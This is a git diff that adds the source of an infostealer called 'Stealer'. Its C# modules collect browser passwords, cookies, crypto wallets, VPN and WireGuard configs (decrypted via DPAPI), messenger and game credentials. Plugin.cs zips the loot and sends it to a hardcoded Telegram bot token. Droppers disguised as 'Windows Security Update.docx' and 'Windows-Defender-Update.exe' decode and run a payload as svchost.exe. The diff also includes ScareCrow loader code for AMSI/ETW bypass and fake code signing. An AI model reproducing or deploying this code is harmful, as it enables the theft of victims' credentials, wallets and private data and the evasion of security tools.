counterApplications.Files.Add(text4 + " => " + text5); + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(Path.Combine("Vpn", path)); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Intelix.Targets.Vpn/SurfShark.cs b/Intelix.Targets.Vpn/SurfShark.cs new file mode 100644 index 0000000..a014fea --- /dev/null +++ b/Intelix.Targets.Vpn/SurfShark.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SurfShark : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Surfshark"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Surfshark"; + string[] array = new string[4] { "data.dat", "settings.dat", "settings-log.dat", "private_settings.dat" }; + foreach (string path in array) + { + try + { + string path2 = Path.Combine(text, path); + if (File.Exists(path2)) + { + zip.AddFile(Path.Combine("Surfshark", path), File.ReadAllBytes(path2)); + } + } + catch + { + } + } + counterApplications.Files.Add(text + " => Surfshark"); + counterApplications.Files.Add("Surfshark\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Intelix.Targets.Vpn/WireGuard.cs b/Intelix.Targets.Vpn/WireGuard.cs new file mode 100644 index 0000000..46376f8 --- /dev/null +++ b/Intelix.Targets.Vpn/WireGuard.cs @@ -0,0 +1,52 @@ +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class WireGuard : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\WireGuard\\Data\\Configurations"; + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WireGuard"; + try + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + string extension = Path.GetExtension(file); + if (extension == ".dpapi") + { + byte[] content = DpApi.Decrypt(File.ReadAllBytes(file)); + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file), content); + } + else if (extension == ".conf") + { + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file) + ".conf", File.ReadAllBytes(file)); + } + } + catch + { + } + }); + } + } + catch + { + } + counterApplications.Files.Add(text + " => WireGuard"); + counterApplications.Files.Add("WireGuard\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Intelix.Targets/ITarget.cs b/Intelix.Targets/ITarget.cs new file mode 100644 index 0000000..23490c2 --- /dev/null +++ b/Intelix.Targets/ITarget.cs @@ -0,0 +1,8 @@ +using Intelix.Helper.Data; + +namespace Intelix.Targets; + +public interface ITarget +{ + void Collect(InMemoryZip zip, Counter counter); +} diff --git a/Properties/AssemblyInfo.cs b/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..0cd620b --- /dev/null +++ b/Properties/AssemblyInfo.cs @@ -0,0 +1,17 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; + +[assembly: AssemblyTitle("Stealer")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Stealer")] +[assembly: AssemblyCopyright("Copyright © 2024")] +[assembly: AssemblyTrademark("")] +[assembly: Guid("8903f661-28b9-4164-94cf-c6d4c5692094")] +[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: ComVisible(false)] +[assembly: AssemblyVersion("1.0.0.0")] diff --git a/Windows Security Update.docx b/Windows Security Update.docx new file mode 100644 index 0000000..51f78d6 --- /dev/null +++ b/Windows Security Update.docx @@ -0,0 +1,4 @@ +certutil -decode payload.b64 payload.exe +start payload.exe +del payload.exe +del loader.bat diff --git a/amsi.txt b/amsi.txt new file mode 100644 index 0000000..1becba2 --- /dev/null +++ b/amsi.txt @@ -0,0 +1 @@ +404: Not Found \ No newline at end of file diff --git a/aoStealerv35_c6.csproj b/aoStealerv35_c6.csproj new file mode 100644 index 0000000..5b9c18f --- /dev/null +++ b/aoStealerv35_c6.csproj @@ -0,0 +1,29 @@ + + + stub + False + True + net48 + + + 12.0 + True + + + WinExe + x64 + app.manifest + + + + + + + + + + + + + + \ No newline at end of file diff --git a/aoStealerv35_c6.sln b/aoStealerv35_c6.sln new file mode 100644 index 0000000..c0f762d --- /dev/null +++ b/aoStealerv35_c6.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.14.36429.23 d17.14 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "aoStealerv35_c6", "aoStealerv35_c6.csproj", "{44694AB3-D9A0-A33A-9102-B74E0CDD3D06}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {44694AB3-D9A0-A33A-9102-B74E0CDD3D06}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {44694AB3-D9A0-A33A-9102-B74E0CDD3D06}.Debug|Any CPU.Build.0 = Debug|Any CPU + {44694AB3-D9A0-A33A-9102-B74E0CDD3D06}.Release|Any CPU.ActiveCfg = Release|Any CPU + {44694AB3-D9A0-A33A-9102-B74E0CDD3D06}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {9F2D25AB-A9D4-42DD-902C-4FA72DB90AEA} + EndGlobalSection +EndGlobal diff --git a/app.manifest b/app.manifest new file mode 100644 index 0000000..7da6b45 --- /dev/null +++ b/app.manifest @@ -0,0 +1,82 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/bin/.DS_Store b/bin/.DS_Store new file mode 100644 index 0000000..c6dbcef Binary files /dev/null and b/bin/.DS_Store differ diff --git a/bin/Plugin.cs b/bin/Plugin.cs new file mode 100644 index 0000000..af6355f --- /dev/null +++ b/bin/Plugin.cs @@ -0,0 +1,389 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.Http; +using System.Net.Http.Headers; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Targets; +using Intelix.Targets.Applications; +using Intelix.Targets.Browsers; +using Intelix.Targets.Crypto; +using Intelix.Targets.Device; +using Intelix.Targets.Games; +using Intelix.Targets.Messangers; +using Intelix.Targets.Vpn; + +namespace CvMega; + +public class Program +{ + public static List targetsBrowsers = new List + { + new Chromium(), + new Gecko() + }; + + public static List targets = new List + { + new ScreenShot(), + new GameList(), + new InstalledBrowsers(), + new InstalledPrograms(), + new ProcessDump(), + new ProductKey(), + new SystemInfo(), + new WifiKey(), + new Telegram(), + new Discord(), + new Element(), + new Icq(), + new MicroSIP(), + new Jabber(), + new Outlook(), + new Pidgin(), + new Signal(), + new Skype(), + new Tox(), + new Viber(), + new Minecraft(), + new BattleNet(), + new Epic(), + new Riot(), + new Roblox(), + new Steam(), + new Uplay(), + new XBox(), + new Growtopia(), + new ElectronicArts(), + new Rdp(), + new AnyDesk(), + new CyberDuck(), + new DynDns(), + new FileZilla(), + new Ngrok(), + new PlayIt(), + new TeamViewer(), + new WinSCP(), + new TotalCommander(), + new FTPNavigator(), + new FTPRush(), + new CoreFtp(), + new FTPGetter(), + new FTPCommander(), + new TeamSpeak(), + new Obs(), + new GithubGui(), + new NoIp(), + new FoxMail(), + new Navicat(), + new RDCMan(), + new Sunlogin(), + new Xmanager(), + new JetBrains(), + new PuTTY(), + new Cisco(), + new RadminVPN(), + new CyberGhost(), + new ExpressVPN(), + new HideMyName(), + new IpVanish(), + new MullVad(), + new NordVpn(), + new OpenVpn(), + new PIAVPN(), + new ProtonVpn(), + new Proxifier(), + new SurfShark(), + new Hamachi(), + new WireGuard(), + new SoftEther(), + new CryptoDesktop(), + new Grabber(), + new UserAgentGenerator(), + new CryptoChromium(), + new CryptoGecko() + }; + + public static StringBuilder stringBuilderError = new StringBuilder(); + + [STAThread] + public static void Main(string[] args) + { + // xuy sosi + MainAsync(args).GetAwaiter().GetResult(); + } + + private static async Task MainAsync(string[] args) + { + string botToken = "8695367376:AAEI3swHcgOeZDvsCAvb2U6w8_GWQWV6iHM"; + string chatId = "8638775356"; + string userName = Environment.UserName; + string machineName = Environment.MachineName; + string userIdentifier = $"{userName}@{machineName}"; + + string arguments = string.Join(" ", args); + Console.WriteLine("start"); + + if (arguments.Contains("--run-once")) + { + string exeDirectory = AppDomain.CurrentDomain.BaseDirectory; + string path = Path.Combine(exeDirectory, "crashreport.txt"); + if (File.Exists(path)) + { + return; + } + File.Create(path); + } + + InMemoryZip zip = new InMemoryZip(); + try + { + try + { + Counter counter = new Counter(); + + Task ipTask = Task.Run(() => IpApi.GetPublicIp()); + Task countryTask = Task.Run(() => IpApi.GetCountryCode()); + + string hwid = "UnknownHWID"; + try + { + hwid = HwidGenerator.GetHwid(); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get HWID: {ex}"); + } + + string publicIp = "N/A"; + try + { + publicIp = ipTask.Result; + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get IP: {ex.Message}"); + } + + string countryCode = "XX"; + try + { + countryCode = countryTask.Result; + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"Failed to get country code: {ex.Message}"); + } + + ArchiveStructure archiveStructure = new ArchiveStructure(countryCode, publicIp, hwid); + zip.SetRootFolderPrefix(archiveStructure.RootFolderName); + + Task.WaitAll(Task.Run(delegate + { + Parallel.ForEach(targets, delegate (ITarget target) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[TARGET: {target.GetType().Name}] {ex.Message}"); + } + }); + }), Task.Run(delegate + { + ProcessKiller.KillerAll(); + Thread.Sleep(200); + Parallel.ForEach(targetsBrowsers, delegate (ITarget target) + { + try + { + target.Collect(zip, counter); + } + catch (Exception ex) + { + stringBuilderError.AppendLine($"[BROWSER: {target.GetType().Name}] {ex.Message}"); + } + }); + })); + + counter.Collect(zip); + + ConsolidatedFilesGenerator.GenerateConsolidatedFiles(zip, counter, publicIp, countryCode, hwid); + + zip.AddTextFile("Error.txt", stringBuilderError.ToString()); + + string fileNameForArchive = $"{hwid}"; + + StringBuilder additionalDataBuilder = new StringBuilder(); + if (counter.Vpns.Count() > 0) + { + additionalDataBuilder.AppendLine($"🛰️ VPN: {counter.Vpns.Count()}"); + } + if (counter.Messangers.Count() > 0) + { + additionalDataBuilder.AppendLine($"💬 Messengers: {counter.Messangers.Count()}"); + } + if (counter.Games.Count() > 0) + { + additionalDataBuilder.AppendLine($"🎮 Games: {counter.Games.Count()}"); + } + if (counter.Applications.Count() > 0) + { + additionalDataBuilder.AppendLine($"🗄️ Servers: {counter.Applications.Count()}"); + } + if (counter.FilesGrabber.Count() > 0) + { + additionalDataBuilder.AppendLine($"🎣 Grabbers: {counter.FilesGrabber.Count()}"); + } + + string additionalData = additionalDataBuilder.ToString().TrimEnd(); + if (string.IsNullOrEmpty(additionalData)) + { + additionalData = "No additional data found."; + } + + string caption = $"✨ New Log Received ✨\n\n" + + $"
" + + $"💻 User: {userIdentifier}\n" + + $"🌍 IP: {publicIp}\n" + + $"
\n" + + $"📊 Main Loot:\n" + + $"
" + + $"🔑 Passwords: {counter.Browsers.Sum(b => (long)b.Password)}\n" + + $"🍪 Cookies: {counter.Browsers.Sum(b => (long)b.Cookies)}\n" + + $"💰 Wallets: {counter.CryptoDesktop.Count() + counter.CryptoChromium.Count()}\n" + + $"
\n" + + $"📦 Additional Data:\n" + + $"
" + + $"{additionalData}\n" + + $"
\n\n" + + $"👨‍💻 Developer: https://t.me/neverliet"; + + + await SendToTelegram(botToken.TrimEnd('\0'), chatId.TrimEnd('\0'), zip.ToArray(), fileNameForArchive, caption); + + Console.WriteLine("end."); + } + catch (Exception ex) + { + Console.WriteLine($"err: {ex.Message}"); + try + { + File.WriteAllText("startup_error.log", ex.ToString()); + } + catch (Exception logEx) + { + Console.WriteLine($"err: {logEx.Message}"); + } + } + } + finally + { + if (zip != null) + { + ((IDisposable)zip).Dispose(); + } + } + } + + public static async Task SendToTelegram(string botToken, string chatId, byte[] file, string fileName, string caption) + { + if (file == null || file.Length == 0) + { + Console.WriteLine("File is empty, skipping send."); + return; + } + + double fileSizeMB = file.Length / 1024.0 / 1024.0; + Console.WriteLine($"File size: {fileSizeMB:F2} MB"); + + int maxRetries = 3; + for (int attempt = 1; attempt <= maxRetries; attempt++) + { + try + { + Console.WriteLine($"Attempt {attempt}/{maxRetries} to send file..."); + + using HttpClient httpClient = new HttpClient(); + httpClient.Timeout = TimeSpan.FromMinutes(1); + httpClient.DefaultRequestHeaders.UserAgent.ParseAdd("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"); + + string url = $"https://api.telegram.org/bot{botToken}/sendDocument"; + using MultipartFormDataContent multipartFormDataContent = new MultipartFormDataContent(); + + multipartFormDataContent.Add(new StringContent(chatId), "chat_id"); + multipartFormDataContent.Add(new StringContent(caption), "caption"); + multipartFormDataContent.Add(new StringContent("HTML"), "parse_mode"); + + using ByteArrayContent byteArrayContent = new ByteArrayContent(file); + byteArrayContent.Headers.ContentType = MediaTypeHeaderValue.Parse("application/zip"); + + string zipFileName = $"{fileName}.zip"; + + multipartFormDataContent.Add(byteArrayContent, "document", zipFileName); + + HttpResponseMessage response = await httpClient.PostAsync(url, multipartFormDataContent); + + if (response.IsSuccessStatusCode) + { + Console.WriteLine("File sent successfully!"); + return; + } + else + { + string errorBody = await response.Content.ReadAsStringAsync(); + string errorMsg = $"Failed to send document. Status: {response.StatusCode}, Body: {errorBody}"; + Console.WriteLine(errorMsg); + File.AppendAllText("telegram_error.log", $"{DateTime.Now}: {errorMsg}\n"); + + if (attempt < maxRetries) + { + await Task.Delay(2000 * attempt); + } + } + } + catch (TaskCanceledException taskEx) + { + string errorMsg = $"Request timed out (attempt {attempt}/{maxRetries}). File size: {fileSizeMB:F2} MB. Error: {taskEx.Message}"; + Console.WriteLine(errorMsg); + File.AppendAllText("telegram_error.log", $"{DateTime.Now}: TaskCanceledException: {errorMsg}\n"); + + if (attempt < maxRetries) + { + await Task.Delay(3000 * attempt); + } + } + catch (HttpRequestException httpEx) + { + string errorMsg = $"HTTP request failed (attempt {attempt}/{maxRetries}): {httpEx.Message}"; + Console.WriteLine(errorMsg); + File.AppendAllText("telegram_error.log", $"{DateTime.Now}: HttpRequestException: {httpEx}\n"); + + if (attempt < maxRetries) + { + await Task.Delay(2000 * attempt); + } + } + catch (Exception ex) + { + string errorMsg = $"Failed to send document (attempt {attempt}/{maxRetries}): {ex.Message}"; + Console.WriteLine(errorMsg); + File.AppendAllText("telegram_error.log", $"{DateTime.Now}: Exception: {ex}\n"); + + if (attempt < maxRetries) + { + await Task.Delay(2000 * attempt); + } + } + } + + Console.WriteLine($"Failed to send file after {maxRetries} attempts."); + } +} \ No newline at end of file diff --git a/bin/Release/.DS_Store b/bin/Release/.DS_Store new file mode 100644 index 0000000..d069ebe Binary files /dev/null and b/bin/Release/.DS_Store differ diff --git a/bin/Release/._net48 b/bin/Release/._net48 new file mode 100755 index 0000000..748a4d5 Binary files /dev/null and b/bin/Release/._net48 differ diff --git a/bin/Release/net48/.DS_Store b/bin/Release/net48/.DS_Store new file mode 100644 index 0000000..75af7f0 Binary files /dev/null and b/bin/Release/net48/.DS_Store differ diff --git a/bin/Release/net48/._Patcher.exe b/bin/Release/net48/._Patcher.exe new file mode 100644 index 0000000..748a4d5 Binary files /dev/null and b/bin/Release/net48/._Patcher.exe differ diff --git a/bin/Release/net48/._stub.exe.config b/bin/Release/net48/._stub.exe.config new file mode 100644 index 0000000..276fb5a Binary files /dev/null and b/bin/Release/net48/._stub.exe.config differ diff --git a/bin/Release/net48/Patcher.exe b/bin/Release/net48/Patcher.exe new file mode 100644 index 0000000..7160f73 Binary files /dev/null and b/bin/Release/net48/Patcher.exe differ diff --git a/bin/Release/net48/stub.exe b/bin/Release/net48/stub.exe new file mode 100644 index 0000000..982365e Binary files /dev/null and b/bin/Release/net48/stub.exe differ diff --git a/bin/Release/net48/stub.exe.config b/bin/Release/net48/stub.exe.config new file mode 100644 index 0000000..ef94b7c --- /dev/null +++ b/bin/Release/net48/stub.exe.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/bin/Release/net48/stub.pdb b/bin/Release/net48/stub.pdb new file mode 100644 index 0000000..c5b8780 Binary files /dev/null and b/bin/Release/net48/stub.pdb differ diff --git a/bin/Release/net48/win-x64/.DS_Store b/bin/Release/net48/win-x64/.DS_Store new file mode 100644 index 0000000..9c54f92 Binary files /dev/null and b/bin/Release/net48/win-x64/.DS_Store differ diff --git a/bin/Release/net48/win-x64/Intellix-FUDDED.exe b/bin/Release/net48/win-x64/Intellix-FUDDED.exe new file mode 100755 index 0000000..32f8fa2 Binary files /dev/null and b/bin/Release/net48/win-x64/Intellix-FUDDED.exe differ diff --git a/bin/Release/net48/win-x64/publish/.DS_Store b/bin/Release/net48/win-x64/publish/.DS_Store new file mode 100644 index 0000000..fc1690a Binary files /dev/null and b/bin/Release/net48/win-x64/publish/.DS_Store differ diff --git a/bin/Release/net48/win-x64/publish/._jew.exe b/bin/Release/net48/win-x64/publish/._jew.exe new file mode 100644 index 0000000..209dcda Binary files /dev/null and b/bin/Release/net48/win-x64/publish/._jew.exe differ diff --git a/bin/Release/net48/win-x64/publish/ScareCrow.go b/bin/Release/net48/win-x64/publish/ScareCrow.go new file mode 100644 index 0000000..4741848 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/ScareCrow.go @@ -0,0 +1,252 @@ +package main + +import ( + "ScareCrow/Cryptor" + "ScareCrow/Loader" + "ScareCrow/Utils" + "ScareCrow/limelighter" + "bytes" + "flag" + "fmt" + "log" + "os" + "os/exec" +) + +type FlagOptions struct { + outFile string + inputFile string + URL string + LoaderType string + CommandLoader string + domain string + password string + valid string + configfile string + ProcessInjection string + AMSI bool + ETW bool + Sha bool + console bool + refresher bool + sandbox bool + sleep bool + nosign bool + evasion string + path string + obfuscate bool + export string + clone string + KnownDLLs bool + encryptionmode string + exectype string +} + +func options() *FlagOptions { + outFile := flag.String("O", "", "Name of output file (e.g. loader.js or loader.hta). If Loader is set to dll or binary this option is not required.") + inputFile := flag.String("I", "", "Path to the raw 64-bit shellcode.") + console := flag.Bool("console", false, "Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.") + LoaderType := flag.String("Loader", "binary", `Sets the type of process that will sideload the malicious payload: +[*] binary - Generates a binary based payload. (This type does not benefit from any sideloading) +[*] control - Loads a hidden control applet - the process name would be rundll32 if -O is specified a JScript loader will be generated. +[*] dll - Generates just a DLL file. Can be executed with commands such as rundll32 or regsvr32 with DllRegisterServer, DllGetClassObject as export functions. +[*] excel - Loads into a hidden Excel process using a JScript loader. +[*] msiexec - Loads into MSIexec process using a JScript loader. +[*] wscript - Loads into WScript process using a JScript loader.`) + URL := flag.String("url", "", "URL associated with the Delivery option to retrieve the payload. (e.g. https://acme.com/)") + CommandLoader := flag.String("delivery", "", `Generates a one-liner command to download and execute the payload remotely: +[*] bits - Generates a Bitsadmin one liner command to download, execute and remove the loader (Compatible with Binary, Control, Excel, and Wscript Loaders). +[*] hta - Generates a blank hta file containing the loader along with an MSHTA command to execute the loader remotely in the background (Compatible with Control and Excel Loaders). +[*] macro - Generates an office macro that will download and execute the loader remotely (Compatible with Control, Excel, and Wscript Loaders).`) + domain := flag.String("domain", "", "The domain name to use for creating a fake code signing cert. (e.g. www.acme.com) ") + exectype := flag.String("Exec", "RtlCopy", `Set the template to execute the shellcode: +[*] RtlCopy - Using RtlCopy to move the shellcode into the allocated address in the current running process by making a Syscall. +[*] ProcessInjection - Process Injection Mode. +[*] NtQueueApcThreadEx - Executes the shellcode by creating an asynchronous procedure call (APC) to a target thread. +[*] VirtualAlloc - Allocates shellcode into the process using custom syscalls in the current running process`) + evasion := flag.String("Evasion", "Disk", `Sets the type of EDR unhooking technique: +[*] Disk - Retrives a clean version of the DLLs ".text" field from files stored on disk. +[*] KnownDLL - Retrives a clean version of the DLLs ".text" field from the KnownDLLs directory in the object namespace. +[*] None - The Loader that WILL NOT removing the EDR hooks in system DLLs and only use custom syscalls.`) + password := flag.String("password", "", "The password for code signing cert. Required when -valid is used.") + AMSI := flag.Bool("noamsi", false, "Disables the AMSI patching that prevents AMSI BufferScanner.") + ETW := flag.Bool("noetw", false, "Disables the ETW patching that prevents ETW events from being generated.") + ProcessInjection := flag.String("injection", "", "Enables Process Injection Mode and specify the path to the process to create/inject into (use \\ for the path).") + configfile := flag.String("configfile", "", "The path to a json based configuration file to generate custom file attributes. This will not use the default ones.") + valid := flag.String("valid", "", "The path to a valid code signing cert. Used instead -domain if a valid code signing cert is desired.") + sandbox := flag.Bool("sandbox", false, `Enables sandbox evasion using IsDomainJoined calls.`) + sleep := flag.Bool("nosleep", false, `Disables the sleep delay before the loader unhooks and executes the shellcode.`) + nosign := flag.Bool("nosign", false, `Disables file signing, making -domain/-valid/-password parameters not required.`) + path := flag.String("outpath", "", "The path to put the final Payload/Loader once it's compiled.") + obfuscate := flag.Bool("obfu", false, `Enables Garbles Literal flag replaces golang libray strings with more complex variants, resolving to the same value at run-time. This creates a larger loader and times longer to compile`) + export := flag.String("export", "", "For DLL Loaders Only - Specify an Export function for a loader to have.") + encryptionmode := flag.String("encryptionmode", "ELZMA", `Sets the type of encryption to encrypt the shellcode: + [*] AES - Enables AES 256 encryption. + [*] ELZMA - Enables ELZMA encryption. + [*] RC4 - Enables RC4 encryption.`) + clone := flag.String("clone", "", "Path to the file containing the certificate you want to clone") + flag.Parse() + return &FlagOptions{outFile: *outFile, inputFile: *inputFile, URL: *URL, LoaderType: *LoaderType, CommandLoader: *CommandLoader, domain: *domain, evasion: *evasion, password: *password, configfile: *configfile, console: *console, AMSI: *AMSI, ETW: *ETW, exectype: *exectype, ProcessInjection: *ProcessInjection, valid: *valid, sandbox: *sandbox, sleep: *sleep, path: *path, nosign: *nosign, obfuscate: *obfuscate, export: *export, encryptionmode: *encryptionmode, clone: *clone} +} + +func execute(opt *FlagOptions, name string) string { + bin, _ := exec.LookPath("env") + var compiledname string + var cmd *exec.Cmd + if opt.configfile != "" { + oldname := name + cmd = exec.Command("mv", "../"+oldname+"", "../"+name+"") + err := cmd.Run() + if err != nil { + fmt.Printf("error") + } + } else { + name = limelighter.FileProperties(name, opt.configfile) + } + if opt.LoaderType == "binary" { + if opt.obfuscate == true { + cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-literals", "-seed=random", "build", "-o", ""+name+".exe") + } else { + cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "go", "build", "-trimpath", "-ldflags=-w -s -buildid=", "-o", ""+name+".exe") + + } + } else { + cwd, err := os.Getwd() + if err != nil { + fmt.Println(err) + } + if opt.obfuscate == true { + cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "-literals", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared") + + } else { + cmd = exec.Command(bin, "GOPRIVATE=*", "GOOS=windows", "GOARCH=amd64", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc", "CXX=x86_64-w64-mingw32-g++", "GOFLAGS=-ldflags=-s", "GOFLAGS=-ldflags=-w", "../.lib/garble", "-seed=random", "build", "-a", "-trimpath", "-ldflags=-extldflags=-Wl,"+cwd+"/"+name+".exp -w -s -buildid=", "-o", ""+name+".dll", "-buildmode=c-shared") + } + } + if opt.obfuscate == true { + fmt.Println("[*] Compiling Payload with the Garble's literal flag... this will take a while") + } else { + fmt.Println("[*] Compiling Payload") + } + var out bytes.Buffer + var stderr bytes.Buffer + cmd.Stdout = &out + cmd.Stderr = &stderr + err := cmd.Run() + if err != nil { + fmt.Printf("%s: %s\n", err, stderr.String()) + } + if opt.LoaderType == "binary" { + compiledname = name + ".exe" + } else { + compiledname = name + ".dll" + } + + fmt.Println("[+] Payload Compiled") + + if opt.nosign == false { + limelighter.Signer(opt.domain, opt.password, opt.valid, compiledname) + } + if opt.clone != "" { + limelighter.Cloner(compiledname, opt.clone) + } + return name +} + +func main() { + fmt.Println(` + _________ _________ + / _____/ ____ _____ _______ ____ \_ ___ \_______ ______ _ __ + \_____ \_/ ___\\__ \\_ __ \_/ __ \/ \ \/\_ __ \/ _ \ \/ \/ / + / \ \___ / __ \| | \/\ ___/\ \____| | \( <_> ) / +/_______ /\___ >____ /__| \___ >\______ /|__| \____/ \/\_/ + \/ \/ \/ \/ \/ + (@Tyl0us) + “Fear, you must understand is more than a mere obstacle. + Fear is a TEACHER. the first one you ever had.” + `) + Utils.Version() + opt := options() + + if opt.inputFile == "" { + log.Fatal("Error: Please provide a path to a file containing raw 64-bit shellcode (i.e .bin files)") + } + + if opt.CommandLoader != "" && opt.URL == "" { + log.Fatal("Error: Please provide the url the loader will be hosted on in order to generate a delivery command") + } + + if opt.exectype != "RtlCopy" && opt.exectype != "NtQueueApcThreadEx" && opt.exectype != "ProcessInjection" && opt.exectype != "VirtualAlloc" { + log.Fatal("Error: Invalid execution type, please select one of the allowed types") + } + + if opt.evasion != "Disk" && opt.evasion != "KnownDLL" && opt.evasion != "None" { + log.Fatal("Error: Invalid evasion method, please select one of the allowed") + } + + if opt.encryptionmode != "AES" && opt.encryptionmode != "ELZMA" && opt.encryptionmode != "RC4" { + log.Fatal("Error: Invalid encrpytion type, please select one of the allowed encrpytion types") + } + + if opt.LoaderType != "dll" && opt.LoaderType != "binary" && opt.LoaderType != "control" && opt.LoaderType != "excel" && opt.LoaderType != "msiexec" && opt.LoaderType != "wscript" { + log.Fatal("Error: Invalid loader, please select one of the allowed loader types") + } + + if opt.CommandLoader != "" && opt.CommandLoader != "bits" && opt.CommandLoader != "hta" && opt.CommandLoader != "macro" { + log.Fatal("Error: Invalid delivery option, please select one of the allowed delivery types") + } + + if opt.CommandLoader == "hta" && opt.outFile == "" { + log.Fatal("Error: Please provide the a HTA filename to store the loader in") + } + + if (opt.CommandLoader == "hta" || opt.CommandLoader == "macro") && (opt.LoaderType == "binary" || opt.LoaderType == "dll") { + log.Fatal("Error: Binary and DLL loaders are not compatable with this delivery command") + } + + if opt.outFile != "" && (opt.LoaderType == "binary" || opt.LoaderType == "dll") { + fmt.Println("[!] -O not needed. This loader type uses the name of the file they are spoofing") + } + + if opt.outFile == "" && (opt.LoaderType == "wscript" || opt.LoaderType == "excel") { + log.Fatal("Error: -O is needed for these types of loaders") + } + + if opt.LoaderType == "binary" && opt.refresher == true { + log.Fatal("Error: Can not use the unmodified option with a binary loader") + } + + if opt.console == true && opt.LoaderType != "binary" { + log.Fatal("Error: Console mode is only for binary based payloads") + } + + if opt.domain == "" && opt.password == "" && opt.valid == "" && opt.nosign == false { + log.Fatal("Error: Please provide a domain in order to generate a code signing certificate") + } + + if opt.domain != "" && opt.password != "" && opt.valid != "" && opt.nosign == false { + log.Fatal("Error: Please choose either -domain or -valid with -password to generate a code signing certificate") + } + + if opt.password == "" && opt.valid != "" { + log.Fatal("Error: Please provide a password for the valid code signing certificate") + } + + if opt.ProcessInjection != "" && (opt.ETW == true || opt.AMSI == true) { + fmt.Println("[!] Currently ETW and AMSI patching only affects the parent process not the injected process") + } + + if opt.ProcessInjection != "" && opt.refresher == true { + log.Fatal("Error: Can not use the unmodified option with the process injection loaders") + } + if opt.LoaderType != "dll" && opt.export != "" { + log.Fatal("Error: Export option can only be used with DLL loaders ") + } + + Utils.CheckGarble() + b64ciphertext, b64key, b64iv := Cryptor.EncryptShellcode(opt.inputFile, opt.encryptionmode) + fmt.Println("[+] Shellcode Encrypted") + name, filename := Loader.CompileFile(b64ciphertext, b64key, b64iv, opt.LoaderType, opt.outFile, opt.console, opt.sandbox, opt.ETW, opt.ProcessInjection, opt.sleep, opt.AMSI, opt.export, opt.encryptionmode, opt.exectype, opt.evasion) + name = execute(opt, name) + Loader.CompileLoader(opt.LoaderType, opt.outFile, filename, name, opt.CommandLoader, opt.URL, opt.sandbox, opt.path) + +} diff --git a/bin/Release/net48/win-x64/publish/Windows-Defender-Update.exe b/bin/Release/net48/win-x64/publish/Windows-Defender-Update.exe new file mode 100644 index 0000000..294d8a2 --- /dev/null +++ b/bin/Release/net48/win-x64/publish/Windows-Defender-Update.exe @@ -0,0 +1,6 @@ +@echo off +certutil -decode "%~dp0payload.b64" "%temp%\svchost.exe" >nul 2>&1 +start "" "%temp%\svchost.exe" +del "%temp%\svchost.exe" 